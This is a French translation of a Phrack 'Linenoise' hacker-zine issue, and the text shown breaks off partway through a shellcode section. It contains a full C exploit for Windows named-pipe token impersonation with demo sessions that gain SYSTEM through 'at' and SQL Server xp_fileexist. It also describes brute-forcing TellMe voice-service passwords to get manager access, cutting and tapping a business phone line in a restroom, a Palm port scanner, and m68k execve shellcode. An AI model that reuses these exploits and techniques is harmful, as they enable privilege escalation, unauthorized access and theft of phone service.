                          ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x03 of 0x0f

|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=------------=[Traduit par kes et jacob[degenere-science]=--------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|


    Tout ce qui ne peut tre plac ailleurs peut se trouver ici : Les 
corrections aux prcdent articles, aux petit articles, ou les articles 
qui nont simplement pas tait publi .... Tout.

Table des matires

1  Exploitation de pipe nomme sous Windows par DigitalScream
2  Comment hacker dans TellMe             par Archangel
3  Shitboxing                               par Agent5
4  PalmMap v 1.6  Nmap pour palm           par Shaun Colley
5  Ecriture de shellcode linux/mc68xxx      par madcr
6  trouver des modules kernel cach         par madsys
7  Bonne vieille disquette explosives       par phrick


|=-----------------------------------------------------------------------=|
|=-=[ 1 - Exploitation de pipe nomme sous Windows ]=--------------------=|
|=-----------------------------------------------------------------------=|

Toute les dernires version de lOS Microsoft Windows sont bases sur le 
kernel NT. Cela a un impact positif pour la scurit tant au niveau local 
que remote du monde windows. Pourtant, il y a encore plusieurs choses 
permettant dobtenir les privilges local system sur lordinateur local, 
ce qui compromisera le systme tout entier. En temps normal, cela est du 
aux fait quil y a diffrents buffer overun dans la pile ou dans le heap, 
dans les services systmes, comme dans le cas de plusieurs oprations 
systme. Toutefois, nous ne devons pas oublier les bugs lis  un 
dysfonctionnement des/d'une fonctionnalit systme. Ce genre de bugs dpend
vraiment du systme, et de temps  autre, est trouv dans diffrent OS. 
Bien sur Windows ne fait pas exception.

Les bugs spcifiques ont gnralement un impact sur les utilisateurs 
locaux. Bien sur, ce nest pas un axiome, mais lutilisateur local a plus
de fonctions API du system compar  un utilisateur distant. Nous allons 
donc voir les possibilits pour un utilisateur local dobtenir des 
privilges plus importants. Par privilge plus important jentend 
obtenir des privilges local systme qui nont aucune limitation. Il y a
plusieurs possibilits pour cela, je vais vous en exposer une nouvelle.

Dapres MSDN, pour lancer une application avec des accounts diffrent, 
lun doit utiliser les fonctions LogonUser() et CreateProcessAsUser(). 
LogonUser() requiere le nom dutilisateur et le password pour le compte 
dont nous avons besoin. La tache LogonUser() est fixe aux privilges 
SE_ASSIGNPRIMARYTOKEN_NAME et SE_INCREASE_QUOTA_NAME pour laccs token.
Ces privilges sont requis pour CreateProcessAsUser(). Seul les processus 
systme ont ces privilges. Actuellement, le compte Administrateur nas 
pas assez de droit pour CreateProcessAsUser(). Ainsi, pour excuter des 
applications comme cmd.exe avec le compte localSystem, nous devons dj 
lavoir. Mais comme nous navons pas lusername et le password de 
lutilisateur privilgi, nous devons trouver une autre solution.

Dans cet article nous allons voir comment obtenir les privilges 
 LocalSystem  avec lAPI aux acces fichier. Pour ouvrir une application 
Windows appellant la fonction CreateFile(), sa se passe comme ceci :

HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);

Pour ouvrir le fichier nous devons appeler quelque chose comme :

HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

Pour les programmeurs Windows avancs, il est clair que cette fonction  
permet de faire plus de choses que seulement douvrir des fichiers 
ordinaires. Elle est utilise pour crer de nouveaux fichiers, rpertoires, 
lecteur physique, et diffrente ressources pour la communication 
interprocess, comme les pipes et les mailslots. Nous allons nous attarder
sur les pipes.

Les pipes sont utilises pour une chose, lchange de donnes entre les 
processus parent et enfant, ou entre deux processus enfant. Toutes les
oprations dcriture/lecture sont fermes pour les oprations sur le 
mme fichier.

Les pipes nomm sont utilis pour deux chose, lchange de data entre le 
client et le serveur, ou entre deux processus client. Il existe des 
fichiers (possdant les mmes caractristiques que les pipes (precedement
cits )) , mais pouvant tre utilis pour lchange de donnes sur le rseaux.

La cration de pipe nomme se fait ainsi :

HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                         PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
Le nom des pipes nommes peut varier, mais il y a toujours un format 
prdfini. Un exemple de nom valide est :  \\.\pipe\Getsys. Pour 
Windows, la squence \\.\ prcde toujours le nom de fichier. Par 
exemple, si C:\boot.ini est demand, le systeme accdera  
\\.\C:\boot.ini. Ce format est compatible avec le standard UNC.

Avec nos connaissances basiques sur les oprations pipes nommes, nous 
pouvons supposer quil peut avoir une solution pour que lapplication 
accde  la pipe nomme plutt que le dossier fourni par utilisateur. Par
exemple, si nous crons une pipe nomm \\.\pipe\Getsys nous pouvons 
essayer de forcer lapplication  accder  \\Computername\pipe\Getsys.
Cela nous donne donc une chance pour manipuler lacces token.

Le token Impersonnation est acces token avec les privilges du client. 
Donc, il est possible pour le serveur de faire quelque chose sur le nom du
client. Dans notre cas le serveur est la pipe nomme que nous avons cre. 
Cela devient possible parce que nous avons accord le privilge 
SecurityImpersonation pour le client. Plus prcisment, nous pouvons 
obtenir ce privilge. Si lapplication du client  les privilges system 
local nous pouvons accder aux registre, manag les processus et la 
mmoire, et plein dautre possibilit, non disponible pour un utilisateur
ordinaire.


Cette attaque peut facilement tre ralis en pratique. Le scnario pour 
cette vulnrabilit se fait comme cela :

1) Cration de pipe nomme
Le client attend de se connecter aprs la cration de la pipe nomme.

2) se faire passer pour le client
Parce que nous supposons que lapplication du client  les droit system, 
que nous voulons obtenir galement.

3) Obtention des droits requis. En fait, nous avons seulement besoin de :

- SE_ASSIGNPRIMARYTOKEN_NAME
- SE_INCREASE_QUOTA_NAME

- TOKEN_ALL_ACCESS
- TOKEN_DUBLICATE

Cest tout ce dont nous avons besoin pour la fonction 
CreateProcessAsUser(). Pour obtenir les droits nous avons besoin dun 
nouveaux token avec les privilges TOKEN_ALL_ACCESS. Et nous pouvons faire 
cela, car nous avons les privilges du processus client.

Excution du code de notre choix.

Cela peut tre un acces au registre, la configuration de hooks, ou des 
commandes alatoire avec les privilges system. Ce dernier point est le 
plus intressant, parce que nous pouvons excuter des applications 
autonome de notre choix pour nos besoins spcifiques.

Avec ce que nous venons de noir, je peux maintenant excuter 
CreateProcessAsUser() avec les privilges system. Je recommence des le
dbut, mais cette fois ci jai tout les privilges requis, et localSystem
est sous mon contrle

Il ny a pas de problme pour raliser cette approche. Par exemple, nous
allons utiliser lexploit ralis par wirepair (sur sh0dan.org) bas sur 
le code de macea (sur dogmile.com)

#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
char szPipe[64];
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dw = GetLastError();
HANDLE hToken, hToken2;
PGENERIC_MAPPING pGeneric;
SECURITY_ATTRIBUTES sa;
DWORD dwAccessDesired;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;

if (argc != 2) {
fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
return 1;
}

memset(&si,0,sizeof(si));
sprintf(szPipe, "\\\\.\\pipe\\GetSys");

// create named pipe"\\.\pipe\GetSys"

HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf ("Failed to create named pipe:\n %s\n", szPipe);
return 2;
}

printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");

// initialize security descriptor to obtain client application
// privileges
pSD = (PSECURITY_DESCRIPTOR)
LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH);
InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;

printf("Waiting for connection...\n");

// wait for client connect
ConnectNamedPipe (hPipe, NULL);

printf("Impersonate...\n");

// impersonate client

if (!ImpersonateNamedPipeClient (hPipe)) {
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 3;
}

printf("Open Thread Token...\n");

// obtain maximum rights with TOKEN_ALL_ACCESS

if (!OpenThreadToken(GetCurrentThread(),
TOKEN_ALL_ACCESS, TRUE, &hToken )) {

if (hToken != INVALID_HANDLE_VALUE) {
printf("GetLastError: %u\n", dw);
CloseHandle(hToken);
return 4;
}
}

printf("Duplicating Token...\n");

// obtain TOKEN_DUBLICATE privilege
if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
&sa,SecurityImpersonation,
TokenPrimary, &hToken2) == 0) {

printf("error in duplicate token\n");
printf("GetLastError: %u\n", dw);
return 5;
}

// fill pGeneric structure
pGeneric = new GENERIC_MAPPING;
pGeneric->GenericRead=FILE_GENERIC_READ;
pGeneric->GenericWrite=FILE_GENERIC_WRITE;
pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
pGeneric->GenericAll=FILE_ALL_ACCESS;

MapGenericMask( &dwAccessDesired, pGeneric );

dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);

printf ("Impersonating: %s\n", szUser);

ZeroMemory( &si, sizeof(STARTUPINFO));
si.cb = sizeof(si);
si.lpDesktop = NULL;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;

printf("Creating New Process %s\n", argv[1]);

// create new process as user
if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa,
&sa,true, NORMAL_PRIORITY_CLASS |
CREATE_NEW_CONSOLE,NULL,NULL,&si, ?)) {
printf("GetLastError: %d\n", GetLastError());
}

// wait process to complete and exit
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(hPipe);

return 0;
}

Cette vulnrabilit nous donne une chance d'obtenir les privilges
system sur lordinateur local. La seule condition est que le processus
system doit accder  ce canal. Cette condition est facile  reproduire
avec les services system.
Par exemple :

[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

>time /T
18:15

>at 18:16 /interactive \\ComputerName\pipe\GetSys

New task added with code 1
[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

Nous avons maintenant un nouveau cmd.exe avec les privilges system. Cela
signifie que lutilisateur peut facilement obtenir les privilges local 
system. Bien sur reproduire cette situation est facile uniquement dans le 
cas, ou il y a un service, qui peut accder aux fichiers sur la demande de
lutilisateur. Parce que la commande AT a besoin au moins des privilges 
utilisateur avec pouvoir et peut tre utilis pour lancer directement 
cmd.exe, sans aucune pipe nomm cet exemple est inutile.

En pratique, cette vulnrabilit peut tre exploit pour obtenir des 
privilges plus importants par luser local si Microsoft SQL server est 
install. Le serveur SQL fonctionne avec les privilges system, et peut 
tre accessible par les utilisateurs non-privilegi. @stake a report une 
vulnrabilit dans la commande xp_fileexist. Cette commande vrifie 
lexistence de fichier, et nous pouvons lutiliser pour accder  notre 
pipe nomme. Le scnario dattaque est vraiment proche :

[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

C:\>isql -U user
Password:
1> xp_fileexist '\\ComputerName\pipe\GetSys'
2> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- -----------------------
1 0 1

[shell 1]

Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

Finallement, il est bon de prciser que cette vulnrabilit existe dans 
Windows NT/2000/XP, et que le SP4 et Windows 2003 la corrige.

Un grand merci a ZARAZA (www.security.nnov.ru), sans lui, rien naurait 
tait possible.

[1] Vue d'ensemble "personnifi un Client Apres Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

[2] lExploit de maceo
http://www.securityfocus.com/archive/1/74523

[3] lExploit de wirepair
http://www.securityfocus.com/archive/1/329197

[4] Elvation de privilges locaux par le nom de fichier d'un pipe nomm 
www.atstake.com/research/advisories/2003/a070803-1.txt

[5] le Service Pack 4 pour Windows 2000
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe



|=-----------------------------------------------------------------------=|
|=-=[ 2 - Comment hacker TellMe ]=---------------------------------------=|
|=-----------------------------------------------------------------------=|


Comment rentrer dans le reseau Tell-Me
(1-800-555-tell)


Ceci est la reprsentation des penses de quelqu'un. Personne ne peut
posseder les penses d'une autre personne. Utilisez ces penses comme vous
en avez l'usage, vous pouvez les reproduire ou les utiliser comme bon vous
semble.


Par Archangel (du groupe P.H.I.R.M.)
Archangel Systems
http://the.feds.are.lookingat.us
--------------------------------------




Qu'est ce que le systeme Tell-Me?
=================================

TellMe est site telephonique high-tech activ  la voix avec une 
connectivit internet, et meme un navigateur  activation vocale. Le but 
ultime de TellMe est d'avoir tout (l')internet activ vocalement. Le 
systeme est plutt sophistiqu pour les standards actuels, bien que je 
doute que les lecteurs de demain trouveront assez de force pour tre 
completement primitif afin d'en dire le moins [NDT: possible ?]. Un appel 
tlphonique gratuit permets  l'auditeur d'avoir un acces aux informations, 
aux resultats sportifs,  la meteo, etc. Il est meme possible d'ecouter 
des films. Il y a aussi des champs d'application pour des annonces prives,
ou mme des sites web  activation vocale. En d'autre termes, il est 
maintenant possible, par TellMe, de tlphoner pour ecouter un site web.

Tell me est une succursale de CNET, un geant d'internet
(au moment de l'ecriture de cet article).


Quelles sont les lacunes de scurit qui sont exploits?
========================================================

Bon, je pense que c'ets le moment pou couper des noisettes.
TellMe a une TRES SERIEUSE faille de scurit qui peut permettre un accs
non autoris au systeme dans un dlais de quelques heures.
Alors que j'essayais de hacker mon propre accompte, j'ai ralis que les 
annonces du TellMenu n'etaient proteg que par un mot de passe de 4 
chiffres.


Voil ce que vous fates:
- Vous tlphonez au 1-800-555-tell.
- Vous allez obtenir un message publicitaire automatique
  suivit d'un menu decrivant les differentes fonctionnalit de followed 
  TellMe.
- Vous devez dire le mot "Announcements", ou numeroter "198" sur le 
  clavier.
  cel vous menera a la section des annonces.
- Une fois arriv  la section annonce, vous allez devoir taper le numero d'annonce,
  qui est un numero  7 chiffre qui vous est assign par l'ordinateur de
  TellMe.
- Rentrer n'importe quel numero d'annonce (j'ai d'abord essayer mon propre
  numero au debut, car c'etait une manire de voir si j'etais capable de 
  hacker ma propre annonce).
  L'ordinateur repond, "Ok, here is your announcement." [NDT: Ok, voici 
  votre annonce]
  Et la, j'entend un enregistrement de "The Baron" me disant que j'etais 
  une fiotte.
- Ce message est suivit par un message de l'ordinateur disant:
  S'il vous plait rentrer un autre numero d'annonce, ou dites "Main 
  Menu" [NDT: menu principal] pour continuer. Si vous tes l'auteur de
  cette annonce, prire d'utiliser votre clavier tlphonique pour entrer 
  votre mot de passe afin d'editer votre annonce. Si vous gardez le 
  silence, l'ordinateur dira: "Please enter your 4 digit password."
  [NDT: entrez votre mot de passe de 4 chiffres s'il vous plait]



QUATRE CHIFFRES?????
Ils etaient srieux?

Voil le moteur du truc:
TELLME ne vous deconnectera pas au bout de 3 tentatives dans une session!!!
Oui, mesdames et messieurs, essayez de ne pas vomir.
Pas de probleme.

Apparemment il etaient possible de faire une attaque par force brute.
J'y ai reussit en depoussierant un *TRES* vieux wardialer.

Je me suis pos sur la ligne d'extension,  cause des limitations du 
numeroteur et je l'ai ecout tapant dans les codes d'acces. Quand j'ai 
reussit, j'ai mis le programme du wardialer en pause. J'ai pu ensuite 
regarder sur l'ecran, et voir quels ont t les derniers numeros essay,
j'ai ensuite essay de me connect nanuellement, et de gagner un acces. Je
sais qu'il y a plus simple, mais cel decrit ce que j'ai fait.

"The Baron" a eu assez piti pour choisir un numero assez bas, et je suis 
rentr, pour changer le message en quelque chose comme 10 minutes. J'ai 
ensuite essay 2 autres messages *SUR* ou je ne risquais pas de m'attir 
des problemes en les changeant. J'ai finit par rentrer en respectivement 
45 et 90 minutes (plus ou moins). En calculant, j'ai trouv que le temps 
maximum pour casser une annonce TellMe en force brute etait d'environ 3
heures.

Est ce que c'est tout ?

Non, avoir la capacit de changer une annonce peut tre assez marrant,
mais il y a des trucs largement plus interessant que vous pouvez faire
en hackant TellMe.
Vous vous souvenez du moment ou nous nous sommes logu la premire fois,
nous avions a dire "announcements"?
Bon, maintenant dites le mot "Extensions". Vous pourriez tre surpris de 
ce que vous trouvez.



que sont les extensions Tell-Me ?
=================================

Les extensions Tell-Me sont une partie du rseau Tellme, lequel a offert
au monde de produire des pages webpages activable  la voix. Voil ce
vous faites:

- Dites "Extensions". Vous allez tre redirig dans l'espace extension, et
l'on vous demandera de taper un nemero d'extension. C'est un numero  5 
chiffres. C'etait de nouveau le moment pour mon vieux wardialer de faire 
son oeuvre. (encore une fois, pas de probleme pour les tentatives 
incorrectes [NDT: ...de deviner le code]


Tout d'abord, il est important de mentionner que l'interet pour TellMe
est agonisant. La plus part des extensions sont vides. Les seules 
extensions qui fonctionnent toujours sont quelques extensions cres par 
des developeurs individuels, des developpeur pour die-hard [NDT: la 
serie de film avec bruce willis si il s'agit bien de la mme chose], et 
(c'est important plus tard) les *propres* extensions de TellMe.

De prime abord, l'ide etait le numero d'extension comme une sorte de
mot de passe, et il n'y pas de repertoire, et vous devez d'ores et dj
connaitre le numero d'extension pour obtenir un acces.

J'ai verifi depuis l'hotel San Remo ici a Las Vegas, sous le nom de
ma petite amie, et j'ai pass la nuit  hacker. J'ai reussit  obtenir
ca jusqu'ici:



Extension 76255:
----------------

Ca mene a un jeu tres bizare de type Pierre/papier/ciseau. C'est un des
trucs les plus bizare que j'ai jamais vu depuis que je suis n. Je 
recommande HAUTEMENT que vous l'essayiez. C'est comme une sorte de pd 
des montagnes... Ouai enfin voyez par vous mme.


Extension 11111:
----------------

Un gitan avec un "eight ball" [NDT: sorte de boule de cristal, mais pas 
vraimment]. Vous lui posez une question, et a vous donne la rponse. Il
n'y a aucun disclaimer donc je suppose que c'est la verit! Dire "quit" ou
"Stop" ne vous aidera pas. Fermez juste votre connerie de de gueule, et ca
vous ejectera jusqu'au Tell-Me normal.

Extension 33333:
----------------
Ca dit "HELLO WORLD"

Extension 34118:
----------------
Produit un repertoire des agences Tell-me, avec les numeros de tlphones.

La plupart des extensions valables sont en langage grossier, donc
si vous tes ag de moins de 18 ans arrtez de lire.

Utilisez les lettres de votre clavier tlphonique, et vous allez obtenir 
un rsultat trs interessant. Il y a des mots de 5 lettres correspondant 
aux nombres sur votre tlphone.


CUNTS - Produit une serie de nombre  la signification inconnue.
Juste une longue chaine d'un ordinateur disant "one, five, seven, three, 
twelve, eighty-eight" etc. Je comprendrai plus tard ce que cel signifie.

TITTY - Ca produit la tonalit d'un fax,  l'oppos de la tonalit d'un 
ordinateur. J'ai pas cherch  bricoler avec.

PENIS - Ca produit un message verbal a props du system sendmail.

HOLES - Donne la citation du jour.

BOOBS - C'est li au protocole HTTP.

SHIT0 - C'est le repertoire des lignes tlphonique du system TellMe.

FUCK0 - C'est un repertoire tres interessant des lignes tlphonique du 
systeme TellMe. Deux des lignes ont l'air d'tre des lignes scuriss, 
fournissant une tonalit d'ordinateur que j'ai utilis pour me loguer. Il 
y avait une option pour les utilisateurs se servant du systeme pour la 
premire fois, qui m'a permit d'obtenir un accompte pour manager. (ils ont
des centaines de managers ?) Qu'est ce que ca permets de faire ? J'ai t 
capable d'effacer mon propre accompte et de le restorer. J'ai pas foutu la
merde dans d'autres accomptes. Mon but n'est pas de dtruire mais 
d'apprendre.


PISS0 - Comme au dessus, le systeme TellMe m'a donn le choix entre parler
parler  une vrai personne, ou d'acceder a un repertoire automatique de 
lignes tlphonique. Je suis etonn que tout ceci soit proteg seulement
par un mot de passe de 5 chiffres.

Damn0 - Un autre repertoire de ligne tlphonique scuris. Celui-la, en 
revanche , vous demande d'emble un autre mot de passe, je prsume donc
qu'il s'agit de la zone la plus sensible du point de vue de la scurit!

Pussy - Une description sur la fano de configurer une page web TellMe.

Cum69 - Conseils pour generer un mot de passe sur. (hahahahahahahaha!!!!)

EATME - Tonalit d'ordinateur ne menant nul part.


Les protocoles de scurit de TellMe sont pathtiques.

Archangel (The Teflon Con)
Wrath of God Hand Delivered
http://the.feds.are.lookingat.us



|=-----------------------------------------------------------------------=|
|=-=[ 3 - Shitboxing ]=--------------------------------------------------=|
|=-----------------------------------------------------------------------=|


par Agent5

Vous tes donc assis dans un petit restaurant familial ou alors vous tes 
en train de marcher dans une petite echoppe en regardant different types
de marchandises, et comme il est normal plusieurs fois par jour, vous 
entendez l'appel de la nature. Vous fa^tes donc votre chemin jusqu'au 
toilettes pour homme (de prfrence  une place) ou des toilettes pour 
femme (pour les quelques unes
qui pourraient lire ceci) et entrez. Vous faites ensuite ce que vous avez 
 faire tout en regardant aux alentours (pourquoi ? parce que vous tes 
cens tre sacrment attentif tout le temps. Voil pourquoi.
Votre regard vous amene jusqu'au plafond. Ca ressemble  tout
les plafonds qui commence  partir en morceau. hmmmm... un plafond qui 
s'effrite.... facile  oter. Vous vous mettez donc debout sur la cuvette,
ou n'importe quoi et vous jetez un coup d'oeil. Rien de special sauf des 
fils. Peut tre electrique ou tlphoniques.
TELEPHONE ? Attend ca signifie que je peux faire ce que dit cambrone et 
utilisez le tlphone [NDT: traduction non littrale, afin de conserver 
et le sens et la rime (!)] Ouai bien sur que vous pouvez! Vous avez 
seulement besoin de quelques trucs afin de transformer en ralit votre 
rve de phreaking ultra feignant. Vous aurez besoin (en plus de votre 
beige box avec un cable avec une prise RJ-11) d'un materiel qui vous 
coutera probablement $3 dans le pire des cas et quelque chose comme $6 
pour une pince a sertir les cables tlphoniques pour prise tlphonique 
standard (RJ-11) vous aurez aussi besoin d'un... "sparateur de ligne 
modulaire - permets d'avoir 2 prises tlphoniques femelle une fois 
branch  l'extrmit d'un cable tlphonique. Prise femelle standard a 4
fils. couleur: "ivoire"-- quelques dollar et change le cout maximum. La 
plupart de ces composant peuvent tre trouv chez votre revendeur de
composant electronique local. Bon si vous n'avez toujours pas compris ce
que je cherche a obtenir, vous devriez dans ce cas demandez un avis 
mdical immdiatement. les scanners m'ont pour ma part beaucoup aid 
<petit tic nerveux>.

Voici ce que vous avez  faire et faites le vite au cas ou ils essayraient
d'utiliser le tlphone pendant que la ligne est dconnect. DONC, fermer 
la porte  cl et faites d'aller vite....Si vous commencez  avoir des gens
qui frappent  la porte faites juste quelques vocalises bruyante laissant 
 suggerer le defecation et dites que vous serez sorti dans une minute.

1. Coupez la ligne. (Il n'est pas necessaire d'utiliser un outil 
spcifique, quelque chose de coupant fera l'affaire)
2. attacher une prise  chaque fin de ligne que vous avez coup.
3. Brancher une des fins de la prise avec un des fins du trou du 
separateur, mettez celle qui reste avec un des deux trous au debut du
separateur.
4. Maintenant vous pouvez soit partir et laisser le vieux gars stress de 
l'intestin qui toque  la porte, ou vous pouvez brancher votre beige box 
et vous amuser un peu.

Faites comme vous feriez n'importe quelle autre session de beige boxing.
Gardez  l'esprit que les gens qui possede le tlphone pourraient vouloir
l'utiliser et ne pourraient pas apprecier le fait que quelqu'un soit sur 
la ligne. Mais pour le reste cette salle de bain ordinaire est juste
devenue votre cabine telephonique prive, complet de l'eau courante et 
de toilettes pour la somme astronomique de 3 dollars amricain.

"Ce fichier vous est proposez par ceux qui font des trucs chouettes".

Applaudisements  Epiphany, Bizurke, Master Slate, Ic0n, Xenocide, Bagel,
Hopping Goblin, Maddjimbeam, lioid, emerica, le reste des #mabell
ninja, port7 alliance, et LPH crew .


|=-----------------------------------------------------------------------=|
|=-=[ 4 - PalmMap v1.6 - Nmap pour Palm ]=-------------------------------=|
|=-----------------------------------------------------------------------=|

(propos par Shaun Colley <shaunige at yahoo.co.uk>)

[NDT: programme non testable pour le traducteur, pas de Palm, :/ donc par acquis de conscience
je n'ai pas traduit les deux ou trois instruction affichant des textes en anglais]

-----BEGIN PALMMAP-----
# PalmMap.bas
# PalmMap v1.6 - Nmap for Palm.

fn set_auto_off(0)
s$(0) = "Host:"
s$(2) = "Start Port:"
s$(4) = "End Port:"
f = form(9, 3, "PalmMap v1.6")
if f = 0 then end
if f = 2 then gosub about
let h$ = s$(1)
let p = val(s$(3))
let e = val(s$(5))
let i = p
let t$ = "PalmMap.log"
open new "memo", t$ as #4
form2:
cls
form btn 30 , 40 , 40 , 18, "connect()", 1
form btn 85 , 40, 40 , 18 , "TCP SYN" , 1
form btn 60 , 80 , 40 , 18 , "UDP scan" , 1
form btn 60 , 120, 40 , 18 , "TCP FIN " , 1
draw "Scan type?", 50, 20, 1
while
x = asc(input$(1))
if x = 14 then gosub scan
if x = 15 then print "Scan type not implemented as of
yet."
if x = 16 then print "Scan type not implemented as of
yet."
if x = 17 then print "Scan type not implemented as of
yet."
wend

sub scan
cls
print at 50, 40
while(i <= e)
c = fn tcp(1, h$, i)
if(c = 0)
print "Port ", i, "Open"
fn tcp(-1, "", 0)
print #4, "Port ", i, "Open"
else
fn tcp(-1, "", 0)
print #4, "Port ", i, "Closed"
endif
let i = i + 1
wend
close #4
print "Scan complete!"
end

sub about
cls
msgbox("PalmMap - Nmap for Palm.", "About PalmMap
1.6")
-----END PALMMAP-----




|=-----------------------------------------------------------------------=|
|=-=[ 5 - Ecrire des shellcodes pour Linux/mc68xxx]=---------------------=|
|=-----------------------------------------------------------------------=|

par madcr (madrats@mail.ru)


I Introduction.
II Registres.
III Syscalls.
IV Execve shellcode.
V Bind-socket shellcode.
VI References.

I. Introduction. (NDT: pour un historique de motorola voir ici:
http://fr.gsmbox.com/news/mobile_news/all/54371.gsmbox et je sais tout n'est pas pareil)

L'histoire de Motorola commence dj vers 1920 ou ils produisaient des elments de radio,
ils n'etaient pas connu pour leurs ordinateurs. Ce n'est qu'en 1974 que motorola sort
le premier processeur 8 bits - le MC6800 contenant 4000 transistors et en 1979 motorola
annonce le premier processeur a 16 bit le MC68000 capable de 2000000 d'operations  la
seconde. Apres 5 annes supplementaires, en 1984 motorola lance le premier processeur
(MC68020), contenant 200000 transistors. Jusqu' 1994 inclu, motorola amliora des
series de ses processeurs et cel les conduira en mars  lancer le MC68060 contenant 2,5
millions de transistors. De nos jours, le 68060 est le processeur optimal pour l'utilisation
de n'importe quel unix.


Le processeur peut travailler en 2 modes: Utilisateur et superviseur. Ce n'est pas une
analogie avec les modes rels et proteg pour les processeurs x86. C'est une sorte de protection
"juste au cas ou". Dans le mode utilisateur, il est impossible de creer des exceptions et
il est impossible d'avoir acces a toute les zones de la memoire. Dans le mode superviseur
tout est accessible. En consequence le kernel travaille en mode superviseur et le reste
en mode utilisateur.

Le MC68 supportait une quantit de distributions unix, comme netbsd, openbsd, linux redhat
, linux debian, etc. Le present article porte sur linux (debian en particulier)


II. Registres.

Le processeur est dans les faits un CISC (mais  certaines occasions un RISC)
Il y a en revanche pas mal de registres.

8 registres de donnes: avec %d0 sur %d7.
8 registres d'adresses: avec %a0 sur %a7.
Le registre du status: %sr.
2 indexs de piles: %sp et %fp
Le compteur de programme: %pc.

N'ou n'avons besoin de rien d'autre. Et la quantit minimale d'instruction
qui est requise pour le shellcode:


instruction exemple description

move movl %d0,%d1 mets la valeur de %d0 dans %d1
lea leal %sp@(0xc),%a0 calcule l'addresse sur 0xc pour la deplacer dans la pile
et c'est mis  l'interieur.
%a0.
eor eorl %d0,%d1 xor
pea pea 0x2f2f7368 pousse dans la pile '//sh'


Au total ces 4 instructions sont suffisantes pour faire un shellcode. Et maintenant il est
grand temps de parler de la 5eme et plus importante instruction (je voulais dire que nous avons besoin
de 5 instructions) qui est li aux exceptions. L' instruction trap - un appel d'exception.
Dans les processeurs motorola, seulement 256 exceptions, mais toute sont [NDT:pas ?] necessaires pour nous, seulement
trap #0 [NDT: alors la si vous comprenez ma traduction vous etes fort]. Dans les linux mc68
cette exception appelle le kernel, pour l'execution du system call. Trap 0 est une reference
au vecteur situ  l'adresse $80h (etrange coincidence).
Maintenant on devrait s'arreter sur les system calls plus en dtail.



III. System Calls.

Les system calls sur une architecture donne sont organises ainsi:

%d0 - nombre d'un system call.
%d1,%d2,%d3 - argv

Ex: pour faire un banal setuid (0); nous aurons quelque chose sans pretention:

eorl %d2,%d2
movl %d2,%d1
movl #23,%d0
trap #0

Plutt simple.



IV. Execve shellcode.


Bon, nous devrions commencer comme toujours avec le vieux execve:

.globl _start
_start:
.text
movl #11,%d0 /* execve() (voir unistd.h) */
movl #m1,%d1 /* adresse de /bin/sh addresse */
movl #m2,%d2 /* NULL */
movl #m2,%d3 /* NULL aussi */
trap #0
.data
m1: .ascii "/bin/sh\0"
m1: .ascii "0\0".

# as execve.s -o execve.o ; ld execve.o -o execve
# ./execve
sh-2.03# exit
exit
#

Un tel code n'ira pas dans la mesure ou il n'est pas independant de la position et
ne le teste pas pour zero. Il est donc necessaire de le reecrire avec la participation de la
pile (la machine etant une big endian, l'ordre des bytes necessite d'etre pris en compte)

.globl _start
_start:
moveq #11,%d0 /* execve() */
pea 0x2f2f7368 /* //sh */
pea 0x2f62696e /* /bin (big endian) */
movel %sp,%d1 /* /bin/sh dans %d1 */
eorl %d2,%d2 /* pea 0x0 + evitement */
movel %d2,%sp@- /* zero byte */
pea 0x130 /* pea 0030 -> 0130 = "tue" le zero */
movel %sp,%d2 /* NULL dans %d2 */
movel %d2,%d3 /* NULL dans %d2 */
trap #0 /* syscall */

# as execve2.s -o execve2.o ; ld execve2.o -o execve2
# ./execve2
sh-2.03# exit
exit
#

Tres bien. Nous devons maintenant le transformer en ascii et nous devrions regarder comme
il fonctionne:


char execve_shellcode[]=
